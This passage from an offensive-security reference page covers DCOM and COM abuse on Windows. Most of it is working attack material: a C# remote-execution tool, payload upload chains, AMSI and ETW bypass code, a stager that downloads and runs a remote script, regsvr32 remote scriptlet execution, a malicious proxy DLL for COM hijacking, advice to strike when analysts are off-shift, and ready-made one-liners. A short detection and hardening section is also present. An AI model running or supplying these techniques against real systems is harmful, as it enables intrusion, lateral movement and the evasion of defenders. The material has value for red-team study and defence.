                Console.WriteLine("Methods: ShellWindows | ShellBrowserWindow | MMC20 | ExcelDDE");
                return;
            }

            string target  = args[0];
            string method  = args[1];
            string command = args[2];

            try {
                switch (method.ToLower()) {
                    case "shellwindows":
                        ExecShellWindows(target, command);
                        break;
                    case "shellbrowserwindow":
                        ExecShellBrowserWindow(target, command);
                        break;
                    case "mmc20":
                        ExecMMC20(target, command);
                        break;
                    default:
                        Console.WriteLine("[-] Unknown method");
                        break;
                }
            }
            catch (Exception ex) {
                Console.WriteLine("[-] Error: " + ex.Message);
            }
        }

        static void ExecShellWindows(string target, string command) {
            string clsid = "9BA05972-F6A8-11CF-A442-00A0C90A8F39";
            Type t = Type.GetTypeFromCLSID(new Guid(clsid), target, true);
            object obj = Activator.CreateInstance(t);

            // Get index [0] from collection
            object item = obj.GetType().InvokeMember(
                "Item", BindingFlags.InvokeMethod, null, obj, new object[] { 0 }
            );
            object doc = item.GetType().InvokeMember(
                "Document", BindingFlags.GetProperty, null, item, null
            );
            object app = doc.GetType().InvokeMember(
                "Application", BindingFlags.GetProperty, null, doc, null
            );
            app.GetType().InvokeMember(
                "ShellExecute",
                BindingFlags.InvokeMethod, null, app,
                new object[] { "cmd.exe", "/c " + command, "C:\\Windows\\System32", null, 0 }
            );
            Console.WriteLine("[+] ShellWindows DCOM executed on " + target);
        }

        static void ExecShellBrowserWindow(string target, string command) {
            string clsid = "C08AFD90-F2A1-11D1-8455-00A0C91F3880";
            Type t = Type.GetTypeFromCLSID(new Guid(clsid), target, true);
            object obj = Activator.CreateInstance(t);

            object doc = obj.GetType().InvokeMember(
                "Document", BindingFlags.GetProperty, null, obj, null
            );
            object app = doc.GetType().InvokeMember(
                "Application", BindingFlags.GetProperty, null, doc, null
            );
            app.GetType().InvokeMember(
                "ShellExecute",
                BindingFlags.InvokeMethod, null, app,
                new object[] { "cmd.exe", "/c " + command, "C:\\Windows\\System32", null, 0 }
            );
            Console.WriteLine("[+] ShellBrowserWindow DCOM executed on " + target);
        }

        static void ExecMMC20(string target, string command) {
            Type t = Type.GetTypeFromProgID("MMC20.Application.1", target, true);
            object obj = Activator.CreateInstance(t);

            object doc = obj.GetType().InvokeMember(
                "Document", BindingFlags.GetProperty, null, obj, null
            );
            object view = doc.GetType().InvokeMember(
                "ActiveView", BindingFlags.GetProperty, null, doc, null
            );
            view.GetType().InvokeMember(
                "ExecuteShellCommand",
                BindingFlags.InvokeMethod, null, view,
                new object[] { "cmd.exe", null, "/c " + command, "7" }
            );
            Console.WriteLine("[+] MMC20 DCOM executed on " + target);
        }
    }
}
# Compile
csc.exe /target:exe /out:DCOMExec.exe DCOMExec.cs

# Or cross-compile with Mono
mcs DCOMExec.cs -out:DCOMExec.exe

13. ReadWrite-DCOM — File Operations

[REMOTE] [EXEC] [TOOL] [MITRE] T1021.003

What it is: An extension of DCOM abuse that allows reading/writing/listing files on the target via Word/Excel/ShellWindows COM objects — without traditional file transfer methods (SMB, SFTP). Useful when SMB is blocked.

Tool: https://github.com/Hagrid29/ReadWrite-DCOM

13.1 Usage

Import-Module .\Invoke-ReadWriteDCOM.ps1

# List directory on remote target
Invoke-ReadWriteDCOM -Action List -ComputerName 10.0.0.2 -TargetPath C:\Temp

# Read a file from remote target
Invoke-ReadWriteDCOM -Action Read -ComputerName 10.0.0.2 -TargetPath C:\Temp\passwords.txt

# Write/drop a file on remote target (upload payload)
Invoke-ReadWriteDCOM -Action Write -ComputerName 10.0.0.2 \
    -TargetPath C:\Windows\Temp\payload.exe \
    -LocalFile C:\attacker\beacon.exe

# Write a text command file (bat/ps1)
Invoke-ReadWriteDCOM -Action Write -ComputerName 10.0.0.2 \
    -TargetPath C:\Windows\Temp\run.bat \
    -Text "cmd.exe /c C:\Windows\Temp\payload.exe"

# Delete a file (move to recycle bin)
Invoke-ReadWriteDCOM -Action Delete -ComputerName 10.0.0.2 -TargetPath C:\Temp\artifact.txt

13.2 Attack Chain Using ReadWrite-DCOM (No SMB)

$target = "10.0.0.2"

# Step 1: Upload payload via DCOM (Word COM object — no SMB needed)
Invoke-ReadWriteDCOM -Action Write -ComputerName $target \
    -TargetPath "C:\Windows\Temp\update.exe" \
    -LocalFile "C:\attacker\beacon.exe"

# Step 2: Execute via DCOM ShellBrowserWindow
$sbw = [Activator]::CreateInstance(
    [type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880", $target)
)
$sbw.Document.Application.ShellExecute("C:\Windows\Temp\update.exe", "", "", $null, 7)

# Step 3: Read output (if any) via DCOM
Invoke-ReadWriteDCOM -Action Read -ComputerName $target -TargetPath "C:\Windows\Temp\output.txt"

# Step 4: Cleanup
Invoke-ReadWriteDCOM -Action Delete -ComputerName $target -TargetPath "C:\Windows\Temp\update.exe"
Invoke-ReadWriteDCOM -Action Delete -ComputerName $target -TargetPath "C:\Windows\Temp\output.txt"

14. DCOM + AMSI Bypass

[EXEC] [EVASION]

What it is: When executing PowerShell payloads via DCOM, AMSI (Antimalware Scan Interface) may intercept and block the script. Apply AMSI bypass before or within the DCOM-launched command.

14.1 One-liner AMSI Bypass in DCOM Command

$target = "10.0.0.2"

# Encode AMSI bypass + payload in base64
$amsiBypass = @'
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').
    GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
'@

$stager = "IEX(New-Object Net.WebClient).DownloadString('http://10.0.0.5/payload.ps1')"
$combined = "$amsiBypass; $stager"
$encoded  = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($combined))

$shell = [Activator]::CreateInstance(
    [type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39", $target)
)

$shell[0].Document.Application.ShellExecute(
    "powershell.exe",
    "-nop -w hidden -EncodedCommand $encoded",
    "C:\Windows\System32",
    $null,
    7
)

14.2 SharpMove with AMSI Flag

SharpMove.exe ^
    action=dcom ^
    computername=target.domain.local ^
    command="C:\Windows\Temp\payload.exe" ^
    method=ShellBrowserWindow ^
    amsi=true

14.3 ETW Bypass Alongside AMSI

# Combine ETW patch + AMSI bypass in DCOM launch
$bypass = @'
# AMSI bypass
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').
    GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# ETW (Event Tracing for Windows) disable
$EtwPatch = [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String("Y21k"))
[Reflection.Assembly]::LoadWithPartialName("System.Core") | Out-Null
$a=[Delegate]::CreateDelegate([type]::GetType("System.Func``2[System.String,System.Byte[]]"),[Runtime.InteropServices.Marshal],"StringToHGlobalAnsi")
'@

15. Detection & Evasion

15.1 Detection Vectors

Technique Detection Method Event ID / Log
DCOM lateral movement Unusual parent→child process chain 4688, Sysmon EID 1
DCOM network auth RPC traffic on 135 + dynamic port Firewall/network logs
impacket dcomexec ADMIN$\__ temp files File system events, 4663
COM hijacking HKCU CLSID key creation 4657 (registry change)
Unsigned DLL load DLL loaded from user-writable path Sysmon EID 7
DCOM object activation Remote DCOM activation events DCOM EventLog
RemoteMonologue RunAs registry key modification 4657

15.2 Evasion Techniques

1. Process ancestry blending

# Instead of cmd.exe → payload, use a LOLBin as intermediate
$shell[0].Document.Application.ShellExecute(
    "wscript.exe",
    "//B //NoLogo C:\Windows\Temp\stager.vbs",
    "C:\Windows\System32", $null, 0
)
# wscript.exe launches payload — more common parent/child

# Or via regsvr32 (LOLBin, no script block logging)
$shell[0].Document.Application.ShellExecute(
    "regsvr32.exe",
    "/s /n /u /i:http://10.0.0.5/payload.sct scrobj.dll",
    "C:\Windows\System32", $null, 0
)

2. Randomize output file names (evade impacket signature)

# impacket dcomexec writes to ADMIN$\__ prefix — known signature
# Use -nooutput to avoid writing output file at all
python3 dcomexec.py -nooutput -object ShellBrowserWindow \
    'domain/user:pass'@10.10.10.10 'cmd /c C:\Windows\Temp\payload.exe'

3. Proxy DLL for COM hijacking (transparency)

// malicious_com_proxy.c
// Forward all legitimate interface calls to the real DLL
// while running payload in a thread — object works normally

#include <windows.h>
#pragma comment(lib, "ntdll.lib")

static HMODULE g_realDll = NULL;

BOOL WINAPI DllMain(HINSTANCE hDll, DWORD reason, LPVOID reserved) {
    if (reason == DLL_PROCESS_ATTACH) {
        DisableThreadLibraryCalls(hDll);
        // Load real DLL
        g_realDll = LoadLibraryW(L"C:\\Windows\\System32\\original.dll");
        // Run payload in new thread
        CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)RunPayload, NULL, 0, NULL);
    }
    if (reason == DLL_PROCESS_DETACH && g_realDll) FreeLibrary(g_realDll);
    return TRUE;
}
// Forward-declare all expected exports to the real DLL

4. Cleanup DCOM sessions

# Always quit COM objects after use
$obj.Quit()
[System.Runtime.Interopservices.Marshal]::ReleaseComObject($obj)
[GC]::Collect()
[GC]::WaitForPendingFinalizers()

5. Target timing

# Launch at off-hours when analysts aren't watching
# Check time before executing
$hour = (Get-Date).Hour
if ($hour -ge 2 -and $hour -le 5) {
    # Execute payload during low-monitoring window
}

15.3 Firewall Considerations

DCOM through firewall:
┌─────────────────────────────────────────────────────────┐
│ Required open ports (victim must allow inbound):        │
│   TCP 135  — RPC endpoint mapper                        │
│   TCP 49152-65535 — dynamic RPC (DCOM actual traffic)   │
│                                                         │
│ Required for output retrieval (impacket):               │
│   TCP 445  — SMB (ADMIN$ access)                        │
│                                                         │
│ Windows Firewall default behavior:                      │
│   Domain profile: DCOM usually allowed                  │
│   Private profile: sometimes allowed                    │
│   Public profile: BLOCKED by default                    │
│                                                         │
│ Firewall bypass options:                                │
│   - -nooutput (avoid SMB)                               │
│   - Target a machine with DCOM allowed in GPO           │
│   - Target DC/server (firewall less restrictive)        │
└─────────────────────────────────────────────────────────┘

15.4 Defensive Hardening Reference

# Disable DCOM entirely (nuclear option — breaks many things)
Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Ole' -Name 'EnableDCOM' -Value 'N'

# Restrict DCOM machine-wide access (dcomcnfg)
# Component Services → My Computer → Properties → COM Security
# Restrict launch/access permissions to necessary groups only

# Block dynamic RPC range at firewall
netsh advfirewall firewall add rule `
    name="Block DCOM dynamic RPC" `
    dir=in action=block `
    protocol=tcp localport=49152-65535

# Monitor HKCU CLSID creation (Sysmon config)
# Add HKCU\Software\Classes\CLSID to registry monitoring

16. Comparison Matrix

Technique Admin Req Firewall Dep Noise Level AV/EDR Visibility Output Best For
MMC20.Application Local admin Port 135 + RPC High (svchost→mmc→cmd) High Via SMB AD labs, older targets
ShellWindows Local admin Port 135 + RPC Medium (explorer→cmd) Medium Via SMB Most reliable method
ShellBrowserWindow Local admin Port 135 + RPC Medium Medium Via SMB Win10/2012R2+ targets
Excel.Application DDE Local admin Port 135 + RPC Low (cmd inside excel) Low-Medium Via SMB Stealthy, Office targets
impacket dcomexec Domain user + rights 135 + 445 High High Interactive Linux attackers
COM Hijacking None None Low Medium Local Persistence, UAC bypass
RemoteMonologue Local admin (RPC) Port 135 + RPC Very Low Low NTLM hash Fileless cred theft
ReadWrite-DCOM Local admin Port 135 + RPC Low Low File content SMB-blocked envs
SharpCOM (BOF) Local admin Port 135 + RPC Medium Medium Via SMB CS/Havoc operators

17. Cheat Sheet

Quick Reference — DCOM CLSIDs

MMC20.Application:
  ProgID: MMC20.Application.1
  CLSID:  {49B2791A-B1AE-4C90-9B8E-E860BA07F889}
  AppID:  {7e0423cd-1119-0928-900c-e6d4a52a0715}
  Host:   mmc.exe
  Method: Document.ActiveView.ExecuteShellCommand()

ShellWindows:
  CLSID:  {9BA05972-F6A8-11CF-A442-00A0C90A8F39}
  Host:   explorer.exe
  Method: [0].Document.Application.ShellExecute()

ShellBrowserWindow:
  CLSID:  {C08AFD90-F2A1-11D1-8455-00A0C91F3880}
  Host:   explorer.exe
  Method: Document.Application.ShellExecute()

Excel.Application:
  ProgID: Excel.Application
  Host:   excel.exe
  Method: ExecuteExcel4Macro("EXEC(\"cmd.exe /c ...\")")

PowerShell One-Liners

# ShellWindows — one liner
([Activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","TARGET")))[0].Document.Application.ShellExecute("cmd.exe","/c whoami > C:\Windows\Temp\o.txt","C:\Windows\System32",$null,7)

# ShellBrowserWindow — one liner
([Activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","TARGET"))).Document.Application.ShellExecute("calc.exe","","C:\Windows\System32",$null,0)

# MMC20 — one liner
([System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","TARGET"))).Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c calc","7")

Impacket dcomexec Reference

# Basic usage
python3 dcomexec.py -object [MMC20|ShellWindows|ShellBrowserWindow] \
    'DOMAIN/USER:PASS'@TARGET [COMMAND]

# Common flags
-hashes LMHASH:NTHASH     # Pass-the-Hash
-k -no-pass               # Kerberos auth
-nooutput                 # Blind exec (no SMB needed)
-object MMC20             # Pick DCOM object
-com-version X:Y          # Force COM version

COM Hijacking Registry Template

# Register hijack (no admin)
$CLSID  = "{TARGET-CLSID}"
$DLL    = "C:\Users\Public\malicious.dll"
$path   = "HKCU:\Software\Classes\CLSID\$CLSID\InprocServer32"
New-Item $path -Force | Out-Null
Set-ItemProperty $path "(Default)"     $DLL
Set-ItemProperty $path "ThreadingModel" "Apartment"

# Remove hijack
Remove-Item "HKCU:\Software\Classes\CLSID\$CLSID" -Recurse -Force

MITRE ATT&CK Mapping

Technique MITRE ID Tactic
DCOM Lateral Movement T1021.003 Lateral Movement
COM Hijacking (Persistence) T1546.015 Persistence, Privilege Escalation
Remote Services Abuse T1021 Lateral Movement
Forced Authentication (RemoteMonologue) T1187 Credential Access
LOLBin Code Execution T1218 Defense Evasion
DLL Side-Loading (proxy) T1574.002 Persistence, Defense Evasion

Decision Tree

COM/DCOM Attack Plan:
│
├─ Have local admin on target?
│   ├─ YES + Port 135 open → DCOM Lateral Movement
│   │      ├─ From Windows → ShellWindows or ShellBrowserWindow (PowerShell/SharpCOM)
│   │      ├─ From Linux  → impacket dcomexec.py
│   │      └─ Want stealthy cred theft → RemoteMonologue
│   │
│   └─ NO admin on TARGET, but have code exec on local?
│          └─ COM Hijacking → persistence without admin
│
├─ Target has Office installed?
│       └─ Excel.Application DCOM → stealthier execution (inside excel.exe)
│
├─ SMB (445) blocked on target?
│       └─ dcomexec.py -nooutput → blind exec
│       └─ ReadWrite-DCOM → file ops without SMB
│
├─ Need persistence after COM hijack?
│       └─ Find high-freq CLSID via Procmon → register in HKCU → wait for trigger
│
└─ Want NTLM hashes without payload?
        └─ RemoteMonologue → coerce NTLM → relay or crack

Tools Quick Reference

Tool Language Use Case Repo
dcomexec.py Python Linux→Windows DCOM shell impacket
Invoke-DCOM PowerShell All DCOM methods Empire
SharpCOM C# CS execute-assembly FOGSEC/SharpCOM
SharpMove C# Multi-method lateral 0xthirteen/SharpMove
OleViewDotNet C# DCOM/COM enumeration tyranid/oleviewdotnet
ReadWrite-DCOM PowerShell File ops via DCOM Hagrid29/ReadWrite-DCOM
RemoteMonologue Python NTLM coercion via DCOM xforcered/remotemonologue
Procmon GUI Find hijackable CLSIDs Sysinternals
dcomcnfg GUI DCOM security config Windows built-in
rpcdump.py Python Enumerate RPC endpoints impacket

References

  • enigma0x3 (Matt Nelson) — Lateral Movement using MMC20.Application: https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
  • enigma0x3 — Lateral Movement via DCOM Round 2 (ShellWindows/ShellBrowserWindow): https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
  • MDSec — DCOM Part 2 (Excel + XLM): https://www.mdsec.co.uk/2020/09/i-like-to-move-it-windows-lateral-movement-part-2-dcom/
  • IBM X-Force Red — RemoteMonologue (2025): https://www.ibm.com/think/x-force/remotemonologue-weaponizing-dcom-ntlm-authentication-coercions
  • ired.team — DCOM Lateral Movement lab: https://www.ired.team/offensive-security/lateral-movement/t1175-distributed-component-object-model
  • pentestlab.blog — COM Hijacking persistence: https://pentestlab.blog/2020/05/20/persistence-com-hijacking/
  • Cybereason — New DCOM lateral movement techniques: https://www.cybereason.com/blog/dcom-lateral-movement-techniques
  • HackTricks — DCOM Exec: https://book.hacktricks.wiki/en/windows-hardening/lateral-movement/dcomexec.html
  • SpecterOps BloodHound — ExecuteDCOM edge: https://bloodhound.specterops.io/resources/edges/execute-dcom
  • MITRE ATT&CK — T1021.003: https://attack.mitre.org/techniques/T1021/003/
  • MITRE ATT&CK — T1546.015: https://attack.mitre.org/techniques/T1546/015/

← Windows top ↑